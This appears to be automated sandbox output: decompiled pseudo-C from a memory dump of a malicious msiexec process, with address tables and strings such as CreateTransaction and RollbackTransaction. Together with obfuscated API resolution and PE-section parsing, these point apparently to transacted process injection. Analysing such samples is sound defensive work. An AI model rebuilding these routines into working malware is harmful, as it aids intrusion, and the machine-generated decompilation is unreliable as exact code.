						E004FB3C0(_t289,  &_v1476);
						_t388 =  *0x004F2183 - 0x3c53e07e;
						 *_t388();
						_v1596 = _t388;
						_t390 =  *((intOrPtr*)(0x4f2183)) - 0x3c53e07e;
						 *_t390();
						_v1580 = _t390;
						if(_v1596 == 0 || _v1580 == 0) {
							_t293 = 0;
						} else {
							_v1468 = 0;
							memset(_t364, 0, 0x2c << 0);
							_t372 = _t371 + 0xc;
							_t365 = _t364 + 0x2c;
							 *((long long*)( *0x004F2583 + 0x382034))();
							if((_v1480 & 0x0000ffff) == 9) {
								_v1720 = 0;
								_v1640 = 0;
								_v1712 = 0;
								_v1680 = 0;
								_v1696 = 0;
								_v1088 = 0;
								memset(_t365, 0, 0x208 << 0);
								_t366 = _t365 + 0x208;
								_v1684 = 0;
								memset(_t366, 0, 8 << 0);
								_t374 = _t372 + 0x18;
								_t367 = _t366 + 8;
								while(1) {
									_t293 =  *0x004FF270();
									if(_t293 == 0) {
										break;
									}
									_v1816 =  &_v1112;
									r9d = 0;
									r8d = 0;
									 *((long long*)( *0x004F4973 - 0x1f9cf987))();
									 *0xFFFFFFFFF4E1ED0E();
									_v1592 = 0x500bc0;
									 *0x00500D00();
									_t405 =  *0x004F2E8A + 0x69b0b;
									_v1800 = 0;
									_v1808 = 0;
									_v1816 = 2;
									r9d = 0;
									r8d = 1;
									_t293 =  *_t405();
									_v1744 = _t405;
									if(_v1744 != 0xffffffff) {
										_v1816 = 0;
										r8d = _v1688;
										_t293 =  *((long long*)( *0x004F18DA - 0x12637a89))();
										if(_t293 != 0) {
											if(_v1744 != 0) {
												 *((long long*)( *0x004F203A - 0x4ec641ef))();
												_v1744 = 0;
											}
											_v1584 = _v1696;
											_v1656 = _v1696 +  *((intOrPtr*)(_v1584 + 0x3c));
											_v1712 = _v1656;
											_v1672 = _v1656 + _v1656 + 0x18;
											_v1752 = 0;
											while(1) {
												_t415 = _v1656;
												if(_v1752 >= ( *(_t415 + 6) & 0x0000ffff)) {
													break;
												}
												if(_v1712 < _v1752 * 0x28 || _v1712 > _v1752 * 0x28) {
													_v1752 = _v1752 + 1;
													continue;
												} else {
													_v1648 = _v1712 - _v1752 * 0x28;
													_v1648 = _v1648 + _v1752 * 0x28;
													_v1576 = 0x4ffe50;
													_t415 = _v1576;
													 *_t415();
												}
												break;
											}
											_v1800 = 0;
											_v1808 = 0;
											_v1816 = 0;
											r9d = 0;
											r8d = 0;
											_t293 = _v1632();
											_v1720 = _t415;
											if(_v1720 != 0) {
												_t417 =  *0x004F1BDA + 0x2858f6;
												_v1776 = 0;
												_v1784 = 0;
												_v1792 = _v1720;
												_v1800 = 0;
												_v1808 = 0;
												_v1816 = 3;
												r9d = 0;
												r8d = 1;
												_t293 =  *_t417();
												_v1744 = _t417;
												if(_v1744 != 0xffffffff) {
													_v1816 = 0;
													r8d = _v1688;
													_t293 =  *((long long*)( *((intOrPtr*)(0x4f18da)) - 0x12637a89))();
													if(_t293 != 0) {
														if(_v1696 != 0) {
															 *0x004FFE30();
														}
														_v1696 = 0;
														_v1688 = 0;
														_v1800 = _v1744;
														_v1808 = 0x1000000;
														_v1816 = 2;
														r9d = 0;
														r8d = 0;
														_t293 =  *((long long*)( *0x004F4303 + 0x2248b2))();
														if(_t293 >= 0) {
															 *((long long*)( *0x004F23DA - 0x19afc400))();
															_v1568 =  *0x004F42B3 - 0x58675f84;
															_v1784 = 0;
															_v1792 = 0;
															_v1800 = 0;
															_v1808 = _v1664;
															_v1816 = 4;
															r8d = 0;
															_t293 =  *_v1568();
															if(_t293 >= 0) {
																_v584 = 0;
																memset(_t367, 0, 0x206 << 0);
																_t368 = _t367 + 0x206;
																_v1620 = 0;
																memset(_t368, 0, 0xe << 0);
																_t376 = _t374 + 0x18;
																_t369 = _t368 + 0xe;
																r9d = 0;
																 *((long long*)( *0x004F136A + 0x1e3f6))();
																 *0x004F4220();
																_v1752 = 0;
																_v1792 = 1;
																_v1800 = 0;
																_v1808 = 0;
																_v1816 = 0;
																_v1824 = 0;
																_v1832 = 0;
																_v1840 =  &_v1632;
																r9d = 0;
																r8d = 0;
																_t293 =  *((long long*)( *0x004F41B3 + 0x3358ab))();
																if(_t293 >= 0) {
																	_v1648 = 0;
																	_v1584 =  *0x004F13C3 + 0x5743b;
																	_v1840 = 4;
																	r9d = 0x3000;
																	_t437 = _v1584;
																	_t293 =  *_t437();
																	_v1648 = _t437;
																	if(_v1648 != 0) {
																		_v1576 =  *0x004F237A - 0x53361165;
																		_v1840 = 0;
																		_t293 =  *_v1576();
																		if(_t293 != 0) {
																			_v1480 = 0;
																			memset(_t369, 0, 0x28 << 0);
																			_t374 = _t376 + 0xc;
																			_t367 = _t369 + 0x28;
																			_v1852 = 0;
																			r9d = 0x30;
																			_t293 =  *0x004F41C0();
																			if(_t293 >= 0) {
																				_v1580 = _v1484;
																				_v1572 =  *((intOrPtr*)(0x4f237a)) - 0x53361165;
																				_v1852 = 0;
																				r9d = 8;
																				_t293 =  *_v1572();
																				if(_t293 != 0) {
																					 *0x34bd890c();
																					_v1564 = 0x500bc0;
																					 *0x7091329f();
																					_v1748 = _v1748 + 0x5056f0;
																					_v1804 = 0;
																					_v1812 = 0;
																					_v1820 = 0;
																					_v1828 = 0;
																					_v1836 = 1;
																					_v1844 = 0;
																					_v1852 = _v1748;
																					r8d = 0;
																					 *((long long*)( *0x004F4103 - 0x5b7bdf4e))();
																					_t293 = 0;
																					if(0 != 0) {
																						continue;
																					}
																				} else {
																				}
																			} else {
																			}
																		} else {
																		}
																	} else {
																	}
																} else {
																}
															} else {
															}
														} else {
														}
													} else {
													}
												} else {
												}
											} else {
											}
										} else {
										}
									} else {
									}
									L50:
									if(_v1740 == 0) {
										if(_v1772 != 0) {
											_t293 =  *((long long*)( *0x004F1673 - 0x7a9555d))();
										}
										if(_v1772 != 0) {
											_t293 =  *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											_v1772 = 0;
										}
										if(_v1740 != 0) {
											_t293 =  *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											_v1740 = 0;
										}
									}
									if(_v1756 != 0) {
										_t293 = _v1652();
									}
									if(_v1780 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
										_v1780 = 0;
									}
									if(_v1700 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
										_v1700 = 0;
									}
									if(_v1756 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
										_v1756 = 0;
									}
									 *_v60 = _v1740;
									goto L66;
								}
								goto L50;
							} else {
								_t293 = 0;
							}
						}
					} else {
						_t293 = 0;
					}
				} else {
					_t293 = 0;
				}
				L66:
				return _t293;
			}

0x00505ac0
0x00505ac5
0x00505aca
0x00505ad7
0x00505aea
0x00505b03
0x00505b0c
0x00505b29
0x00505b29
0x00505b29
0x00505b2b
0x00505b4b
0x00505b55
0x00505b95
0x00505ba8
0x00505bb3
0x00505bbb
0x00505bbd
0x00505bcd
0x00505bd9
0x00505bee
0x00505bf0
0x00505bff
0x00505c14
0x00505c16
0x00505c27
0x00505c34
0x00505c3b
0x00505c3b
0x00505c58
0x00505c58
0x00505c58
0x00505c6f
0x00505c7c
0x00505c85
0x00505c8e
0x00505c9a
0x00505ca3
0x00505caf
0x00505cbd
0x00505cd7
0x00505cd7
0x00505cd9
0x00505cf7
0x00505cf7
0x00505cf7
0x00505cf9
0x00505d16
0x00505d1a
0x00000000
0x00000000
0x00505d36
0x00505d3b
0x00505d3e
0x00505d48
0x00505d63
0x00505d65
0x00505d91
0x00505d9a
0x00505da0
0x00505da9
0x00505db1
0x00505db9
0x00505dbc
0x00505dcf
0x00505dd1
0x00505ddc
0x00505df0
0x00505e01
0x00505e16
0x00505e1a
0x00505e27
0x00505e3b
0x00505e3d
0x00505e3d
0x00505e4e
0x00505e70
0x00505e83
0x00505ea4
0x00505eac
0x00505ec0
0x00505ec0
0x00505ed0
0x00000000
0x00000000
0x00505ef3
0x00505ebc
0x00000000
0x00505f33
0x00505f56
0x00505f81
0x00505fad
0x00505fcf
0x00505fd7
0x00505fd7
0x00000000
0x00505ef3
0x00505fe0
0x00505fe9
0x00505ff1
0x00505ff9
0x00505ffc
0x00506003
0x0050600a
0x0050601b
0x00506029
0x0050602f
0x00506038
0x00506049
0x0050604e
0x00506057
0x0050605f
0x00506067
0x0050606a
0x0050607d
0x0050607f
0x0050608a
0x0050609e
0x005060af
0x005060c4
0x005060c8
0x005060d8
0x005060ef
0x005060ef
0x005060f1
0x005060fd
0x0050611b
0x00506120
0x00506128
0x00506130
0x00506133
0x00506143
0x00506147
0x0050615b
0x0050616b
0x00506173
0x0050617c
0x00506185
0x00506196
0x0050619b
0x005061a3
0x005061b8
0x005061bc
0x005061c5
0x005061df
0x005061df
0x005061e3
0x005061fd
0x005061fd
0x005061fd
0x0050620c
0x00506224
0x00506243
0x00506245
0x0050625b
0x00506263
0x0050626c
0x00506275
0x0050627e
0x00506287
0x00506298
0x0050629d
0x005062a0
0x005062b0
0x005062b4
0x005062bb
0x005062fb
0x00506303
0x0050630b
0x0050631e
0x00506326
0x00506328
0x00506339
0x00506361
0x00506369
0x0050638c
0x00506390
0x00506397
0x005063b4
0x005063b4
0x005063b4
0x005063c3
0x005063cc
0x005063e1
0x005063e5
0x005063f4
0x00506416
0x0050641e
0x00506427
0x00506442
0x00506446
0x00506466
0x00506468
0x0050648a
0x0050649a
0x005064af
0x005064b8
0x005064c0
0x005064c8
0x005064d0
0x005064d8
0x005064e9
0x005064f3
0x00506503
0x00506505
0x00506509
0x00000000
0x00000000
0x00000000
0x00506448
0x00000000
0x005063e7
0x00000000
0x00506392
0x00000000
0x0050633b
0x00000000
0x005062b6
0x00000000
0x005061be
0x00000000
0x00506149
0x00000000
0x005060ca
0x00000000
0x0050608c
0x00000000
0x0050601d
0x00000000
0x00505e1c
0x00000000
0x00505dde
0x0050650f
0x00506518
0x00506520
0x00506536
0x00506536
0x0050653e
0x00506552
0x00506554
0x00506554
0x00506566
0x0050657d
0x0050657f
0x0050657f
0x00506566
0x00506594
0x0050659e
0x0050659e
0x005065ab
0x005065bf
0x005065c1
0x005065c1
0x005065d3
0x005065ea
0x005065ec
0x005065ec
0x00506601
0x00506618
0x0050661a
0x0050661a
0x00506636
0x00000000
0x00506639
0x00000000
0x00505c7e
0x00505c7e
0x00505c7e
0x00505c7c
0x00505b6e
0x00505b6e
0x00505b6e
0x00505b05
0x00505b05
0x00505b05
0x0050663e
0x00506646

Strings

RollbackTransaction, xrefs: 00505C05
*/M, xrefs: 005061FF
CreateTransaction, xrefs: 00505BDF

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00506700, Relevance: 2.0, Strings: 1, Instructions: 711
Crypto

C-Code - Quality: 80%

			E00506700(void* __edi, void* __esp, void* __eflags, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v534;
				short _v536;
				void* _v548;
				void* _v572;
				void* _v594;
				short _v596;
				void* _v608;
				void* _v620;
				void* _v640;
				long long _v648;
				char _v660;
				char _v664;
				intOrPtr _v668;
				long long _v672;
				void* _v676;
				long long _v680;
				void* _v684;
				void* _v692;
				long long _v700;
				void* _v708;
				void* _v716;
				void* _v764;
				void* _v772;
				long long _v780;
				void* _v784;
				void* _v792;
				signed int _v796;
				long long _v808;
				long long _v812;
				long long _v820;
				long long _v828;
				long long _v832;
				intOrPtr _v836;
				long long _v840;
				long long _v856;
				long long _v864;
				long long _v876;
				intOrPtr _v880;
				long long _v888;
				long long _v892;
				long long _v896;
				long long _v900;
				long long _v904;
				long long _v908;
				long long _v912;
				intOrPtr _v916;
				void* _v924;
				void* _v928;
				long long _v932;
				void* _v936;
				long long _v940;
				void* _v944;
				long long _v948;
				long long _v952;
				long long _v956;
				long long _v960;
				long long _v964;
				long long _v968;
				char _v972;
				long long _v976;
				long long _v980;
				long long _v984;
				long long _v988;
				void* _v996;
				long long _v1004;
				void* _v1008;
				long long _v1012;
				long long _v1020;
				long long _v1024;
				long long _v1028;
				long long _v1032;
				long long _v1036;
				long long _v1044;
				void* _t387;
				void* _t502;
				void* _t503;
				void* _t504;
				void* _t505;
				void* _t506;
				void* _t510;
				void* _t511;
				long long _t525;
				long long _t540;
				long long _t551;
				signed long long _t572;
				long long _t622;
				long long _t656;
				signed long long _t666;
				void* _t833;
				void* _t834;

				_a16 = __rdx;
				_a8 = __rcx;
				_t834 = _t833 - 0x3f0;
				_v536 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t502 = __edi + 0x208;
				 *((long long*)( *0x004F2533 + 0x243d4b))();
				E004FB3B0(E004FB3E0( &_v708, 0x50dfa0), 0x50dfa0);
				_v716 = 0x50dfa0;
				E004FB3C0( *0x00500D00(),  &_v708);
				_t525 =  *0x004F2283 - 0x4815a4ec;
				 *_t525();
				_v828 = _t525;
				_v700 = _v828;
				_v812 = _v828 +  *((intOrPtr*)(_v700 + 0x3c));
				_v596 = 0;
				memset(_t502, 0, 0x22 << 0);
				_t510 = __esp + 0x18;
				_t503 = _t502 + 0x22;
				r9d = 0xf;
				 *0xFFFFFFFF9E3602EC();
				_v912 = 0x5048a0;
				if(_v912 != 0) {
					_v952 = 0;
					memset(_t503, 0, 8 << 0);
					_t511 = _t510 + 0xc;
					_t504 = _t503 + 8;
					r8d =  *((intOrPtr*)(_v836 + 0x28));
					if( *0x00504F80() != 0) {
						_v948 = 0;
						_v972 = 0;
						_v940 = 0;
						_v912 = 0;
						while(_v912 < 5) {
							 *0xFFFFFFFFCDB95FC5();
							_v972 = 0x505ac0;
							if(_v972 == 0) {
								L16:
								L5:
								_v912 = _v912 + 1;
								continue;
							}
							_t656 =  *0x004F11A3 + 0x22763f;
							r9d = 0;
							r8d = 0;
							 *_t656();
							_v940 = _t656;
							_v716 =  *0x004F125A + 0x326dd0;
							_v1004 = 2;
							_v1012 = 0;
							_v1020 = 0;
							if( *_v716() != 0) {
								 *((long long*)( *((intOrPtr*)(0x4f2283)) - 0x4815a4ec))();
								_v708 = 0x504930;
								r8d = 0;
								if( *_v708() != 0) {
									 *0x005130C8();
									_v772 = 0;
									memset(_t504, 0, 8 << 0);
									_t511 = _t511 + 0xc;
									_t504 = _t504 + 8;
									_t666 =  &_v764 * 0;
									 *((long long*)(_t834 + _t666 + 0x118)) = _v952;
									 *((long long*)(_t834 + _t666 + 0x118)) = _v960;
									r9d = 0x7530;
									r8d = 0;
									_v880 =  *((long long*)( *0x004F2323 + 0x154e18))();
									 *((long long*)( *0x004F203A - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
									if(_v880 != 0) {
										goto L16;
									}
									 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
									if(_v976 != 0) {
										 *0x004FFE30();
									}
									_v976 = 0;
									_v968 = 0;
									_t387 = 1;
									goto L80;
								}
								 *((long long*)( *0x004F1673 - 0x7a9555d))();
								 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
								 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
								 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
								goto L5;
							}
							 *((long long*)( *((intOrPtr*)(0x4f1673)) - 0x7a9555d))();
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							goto L5;
						}
						_v932 = 0;
						_v864 = 0;
						 *0xFFFFFFFFBEBFA090();
						_v932 = 0x4ffcb0;
						_v700 = 0x4ffd30;
						_t540 = _v700;
						 *_t540();
						 *_v932 = _t540;
						 *((long long*)(_v932 + 8)) = _v956 + 8;
						_v692 = 0x4ffe50;
						 *_v692();
						_v908 = 0;
						while(_v908 < 5) {
							 *0xFFFFFFFFCD6FC55B();
							_v972 = 0x505610;
							if(_v972 != 0) {
								break;
							}
							_v908 = _v908 + 1;
						}
						if( *_v932 != 0) {
							 *((long long*)(0x4ffe30))();
						}
						 *_v932 = 0;
						 *((long long*)(_v932 + 8)) = 0;
						if(_v932 != 0) {
							 *((long long*)(0x4ffe30))();
						}
						_v932 = 0;
						_t551 =  *((intOrPtr*)(0x4f11a3)) + 0x22763f;
						r9d = 0;
						r8d = 0;
						 *_t551();
						_v940 = _t551;
						_v684 =  *((intOrPtr*)(0x4f125a)) + 0x326dd0;
						_v1004 = 2;
						_v1012 = 0;
						_v1020 = 0;
						if( *_v684() != 0) {
							 *((long long*)( *((intOrPtr*)(0x4f2283)) - 0x4815a4ec))();
							_v676 = 0x504930;
							r8d = 0;
							if( *_v676() != 0) {
								_v892 = 0;
								_v876 = 0;
								_v900 = 0;
								_v820 = 0;
								memset(_t504, 0, 0x28 << 0);
								_t505 = _t504 + 0x28;
								_v928 = 0;
								while(0 != 1) {
									 *0x004FFF40();
									_v1024 = 0;
									_v1032 = 0x30;
									r8d = 0;
									 *0x005130F0();
									_v916 = 0;
									if(_v832 != 0 || _v904 == 0) {
										if(_v916 == 0) {
											_v904 = _v904 + _v808;
											if((_v796 & 0x00000001) != 0 || (_v796 & 0x00000100) != 0) {
											} else {
												 *0xFFFFFFFFE2EED740();
												_v912 = 0x4ffcb0;
												if((_v796 & 0x00000001) != 0 || (_v796 & 0x00000100) != 0) {
												} else {
													if(_v808 <= 0x7fffffff) {
														_t622 = _v832;
														_v840 = _t622;
														while(_v808 > 0) {
															if(_v808 <= 0x100000) {
																_v896 = _v808;
															} else {
																_v896 = 0x100000;
															}
															_v892 = _v896;
															_v808 = _v808 - _t622;
															_v680 = 0x5130f8;
															_v1032 =  &_v928;
															r9d = _v892;
															_t622 = _v680;
															_v916 =  *_t622();
															if(_v916 != 0) {
																L57:
																continue;
															} else {
																_v856 = 0;
																_v672 = 0x5000f0;
																r9d = 0x2c;
																_t622 = _v672;
																 *_t622();
																_v856 = _t622;
																if(_v856 == 0) {
																	goto L57;
																}
																_v888 = _v840 + _v856 - _v912;
																break;
															}
														}
														if(_v912 != 0) {
															 *((long long*)(0x4ffe30))();
														}
														_v912 = 0;
														if(_v888 == 0) {
															continue;
														} else {
															break;
														}
													}
												}
											}
											continue;
										}
										goto L40;
									} else {
										L40:
										break;
									}
								}
								if(_v888 != 0) {
									_v664 = 0;
									_v904 = _v888;
									_v928 = _v968;
									_v1032 =  &_v664;
									r9d = 0x40;
									if( *0x005130D8() == 0) {
										 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
										_v648 = 0;
										memset(_t505, 0, 8 << 0);
										_t506 = _t505 + 8;
										_v1004 =  &_v660;
										_v1012 =  &_v972;
										_v1020 = 0;
										_v1028 = _v900;
										_v1036 = 0;
										_v1044 = 0;
										r9d = 0;
										r8b = 1;
										if( *0x004F4110() == 0) {
											_v668 =  *0x00506650();
											 *((intOrPtr*)(0x5130c8))();
											if(_v988 != 0) {
												 *((long long*)(0x4ffe30))();
											}
											_v988 = 0;
											_v980 = 0;
											_v780 = 0;
											memset(_t506, 0, 8 << 0);
											_t572 =  &_v772 * 0;
											 *((long long*)(_t834 + _t572 + 0x128)) = _v976;
											 *((long long*)(_t834 + _t572 + 0x128)) = _v984;
											r9d = 0x7530;
											r8d = 0;
											_v896 =  *((long long*)( *((intOrPtr*)(0x4f2323)) + 0x154e18))();
											 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											if(_v896 != 0) {
												_t387 = 0;
											} else {
												_t387 = 1;
											}
										} else {
											if(_v988 != 0) {
												 *((long long*)(0x4ffe30))();
											}
											_v988 = 0;
											_v980 = 0;
											 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
											_t387 = 0;
										}
									} else {
										if(_v976 != 0) {
											 *((long long*)(0x4ffe30))();
										}
										_v976 = 0;
										_v968 = 0;
										 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
										_t387 = 0;
									}
								} else {
									if(_v976 != 0) {
										 *((long long*)(0x4ffe30))();
									}
									_v976 = 0;
									_v968 = 0;
									 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
									_t387 = 0;
								}
								goto L80;
							}
							if(_v964 != 0) {
								 *((long long*)(0x4ffe30))();
							}
							_v964 = 0;
							_v956 = 0;
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							_t387 = 0;
						} else {
							if(_v964 != 0) {
								 *((long long*)(0x4ffe30))();
							}
							_v964 = 0;
							_v956 = 0;
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
							_t387 = 0;
						}
					} else {
						 *((long long*)( *((intOrPtr*)(0x4f203a)) - 0x4ec641ef))();
						_t387 = 0;
					}
					goto L80;
				} else {
					_t387 = 0;
					L80:
					return _t387;
				}
			}

0x00506700
0x00506705
0x0050670b
0x00506714
0x0050672e
0x0050672e
0x0050674a
0x0050676c
0x00506771
0x005067a7
0x005067b3
0x005067bb
0x005067bd
0x005067cd
0x005067ef
0x005067f9
0x00506813
0x00506813
0x00506813
0x00506822
0x0050683a
0x0050683c
0x0050684d
0x00506856
0x0050686e
0x0050686e
0x0050686e
0x0050688a
0x005068a5
0x005068c5
0x005068ce
0x005068d7
0x005068e0
0x005068fd
0x0050692a
0x0050692c
0x00506937
0x00506bd6
0x005068ed
0x005068f6
0x00000000
0x005068f6
0x00506944
0x0050694a
0x0050694d
0x00506954
0x00506956
0x00506984
0x0050698c
0x00506994
0x0050699c
0x005069c0
0x00506a28
0x00506a38
0x00506a40
0x00506a5a
0x00506ac7
0x00506ac9
0x00506ae7
0x00506ae7
0x00506ae7
0x00506aee
0x00506af7
0x00506b0d
0x00506b22
0x00506b28
0x00506b3a
0x00506b53
0x00506b67
0x00506b7b
0x00506b85
0x00000000
0x00000000
0x00506b9c
0x00506ba4
0x00506bb8
0x00506bb8
0x00506bba
0x00506bc3
0x00506bcc
0x00000000
0x00506bcc
0x00506a70
0x00506a84
0x00506a98
0x00506aac
0x00000000
0x00506aac
0x005069d6
0x005069ea
0x005069fe
0x00506a12
0x00000000
0x00506a12
0x00506bdb
0x00506be4
0x00506c06
0x00506c08
0x00506c24
0x00506c2f
0x00506c37
0x00506c3e
0x00506c4f
0x00506c6d
0x00506c8a
0x00506c8c
0x00506ca9
0x00506cd9
0x00506cdb
0x00506ce6
0x00000000
0x00506cea
0x00506ca2
0x00506ca2
0x00506cf7
0x00506d0e
0x00506d0e
0x00506d15
0x00506d21
0x00506d2f
0x00506d43
0x00506d43
0x00506d45
0x00506d55
0x00506d5b
0x00506d5e
0x00506d65
0x00506d67
0x00506d95
0x00506d9d
0x00506da5
0x00506dad
0x00506dd1
0x00506e53
0x00506e63
0x00506e6b
0x00506e85
0x00506f13
0x00506f1f
0x00506f2b
0x00506f37
0x00506f55
0x00506f55
0x00506f57
0x00506f62
0x00506f87
0x00506f96
0x00506f9f
0x00506fb0
0x00506fc0
0x00506fc2
0x00506fd2
0x00506fe7
0x00507004
0x00507018
0x0050702f
0x00507046
0x00507048
0x0050705c
0x00507073
0x0050707f
0x00507086
0x0050708e
0x00507096
0x005070b1
0x005070c7
0x005070b3
0x005070b3
0x005070b3
0x005070d5
0x005070f1
0x0050710e
0x0050711e
0x00507123
0x0050713b
0x00507145
0x00507154
0x005071dd
0x00000000
0x0050715a
0x0050715a
0x0050717b
0x00507183
0x00507198
0x005071a0
0x005071a2
0x005071b3
0x00000000
0x00000000
0x005071d3
0x00000000
0x005071d3
0x00507154
0x005071eb
0x00507202
0x00507202
0x00507204
0x00507219
0x00000000
0x0050721b
0x00000000
0x0050721b
0x00507219
0x00507081
0x0050705c
0x00000000
0x00507018
0x00000000
0x00506fe9
0x00506fe9
0x00000000
0x00506fe9
0x00506fd2
0x0050722b
0x005072b9
0x005072cd
0x005072d9
0x005072f5
0x005072fa
0x00507319
0x005073b9
0x005073bb
0x005073d9
0x005073d9
0x005073f0
0x005073fa
0x005073ff
0x00507410
0x00507415
0x0050741e
0x00507427
0x0050742a
0x00507438
0x005074ca
0x005074e5
0x005074ed
0x00507501
0x00507501
0x00507503
0x0050750c
0x00507515
0x00507533
0x0050753a
0x00507543
0x00507559
0x0050756e
0x00507574
0x00507586
0x0050759f
0x005075b3
0x005075c7
0x005075de
0x005075e8
0x005075f1
0x005075ea
0x005075ea
0x005075ea
0x0050743a
0x00507440
0x00507454
0x00507454
0x00507456
0x0050745f
0x0050747a
0x0050748e
0x005074a5
0x005074a7
0x005074a7
0x0050731f
0x00507325
0x00507339
0x00507339
0x0050733b
0x00507344
0x0050735f
0x00507373
0x00507387
0x0050739e
0x005073a0
0x005073a0
0x00507231
0x00507237
0x0050724b
0x0050724b
0x0050724d
0x00507256
0x00507271
0x00507285
0x00507299
0x005072b0
0x005072b2
0x005072b2
0x00000000
0x0050722b
0x00506e91
0x00506ea5
0x00506ea5
0x00506ea7
0x00506eb0
0x00506ecb
0x00506edf
0x00506ef3
0x00506f0a
0x00506f0c
0x00506dd3
0x00506dd9
0x00506ded
0x00506ded
0x00506def
0x00506df8
0x00506e13
0x00506e27
0x00506e3b
0x00506e3d
0x00506e3d
0x005068a7
0x005068bc
0x005068be
0x005068be
0x00000000
0x0050684f
0x0050684f
0x005075f3
0x005075fb
0x005075fb

Strings

0, xrefs: 00506F9F

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00504B90, Relevance: 1.5, Strings: 1, Instructions: 236
Crypto

C-Code - Quality: 22%

			E00504B90(void* __edx, void* __eflags, void* __rax) {
				void* _t58;
				void* _t61;
				void* _t87;
				void* _t101;
				long long* _t122;
				long long* _t128;
				long long* _t134;
				long long* _t146;
				long long* _t148;
				long long* _t198;
				long long* _t199;
				long long* _t204;
				void* _t207;
				void* _t208;
				void* _t214;
				void* _t215;
				long long* _t219;

				E0050A630(_t87, __edx, __rax, _t214, _t215);
				_t208 = _t207 - __rax;
				_t122 = 0x50d3b8;
				 *((long long*)(_t208 + 0x24e8)) = 0x5075df;
				 *0x29737fe7();
				_t198 =  *0x004F2283 - 0x4815a4ec;
				 *((long long*)(_t208 + 0x20)) = _t198;
				 *_t198();
				if(0x5075df != 0) {
					 *0xFFFFFFFFF81DB4C0();
				}
				 *0x00504260();
				 *_t198();
				_t199 = _t122;
				if(_t122 != 0) {
					 *0x005043D0();
				}
				if(_t199 == 0) {
					 *((long long*)(0x504260))();
					_t148 = _t122;
					_t122 =  *0x004F19F0 + 0x148a6;
					 *_t122();
					_t199 = _t122;
					if(_t148 != 0) {
						_t122 = 0x5043d0;
						 *((long long*)(0x5043d0))();
					}
				}
				r9d = 1;
				r8d = 0;
				 *0x12ce4577();
				 *((long long*)(_t208 + 0x24d8)) = _t122;
				_t204 = _t122;
				if(_t122 == 0) {
					_t7 = _t122 + 1; // 0x1
					r9d = _t7;
					r8d = 0;
					 *0x12ce4577();
					_t204 = _t122;
					 *((long long*)(_t208 + 0x24d8)) = _t122;
				}
				r9d = 1;
				r8d = 0;
				 *0x005021B0();
				_t219 = _t122;
				if(_t122 == 0) {
					_t9 = _t122 + 1; // 0x1
					r9d = _t9;
					r8d = 0;
					 *((long long*)(0x5021b0))();
					_t219 = _t122;
				}
				 *0xFFFFFFFFD1E30086();
				if(0x4f2c40 == 0xffffffff) {
					L31:
					_t58 = 0;
					goto L32;
				} else {
					r8d = 0x234;
					E004F5A30();
					 *((intOrPtr*)(_t208 + 0x30)) = 0x238;
					 *0x004F1CA0();
					_t128 =  *0x004F2EE3 - 0x7a04349f;
					 *((long long*)(_t208 + 0x24e0)) = _t128;
					while(1) {
						_t61 =  *_t128();
						r8d =  *((intOrPtr*)(_t208 + 0x38));
						if(r8d == _t61) {
							goto L25;
						}
						_t134 =  *0x004F263A + 0xa4843;
						 *_t134();
						if(_t134 == 0) {
							goto L25;
						}
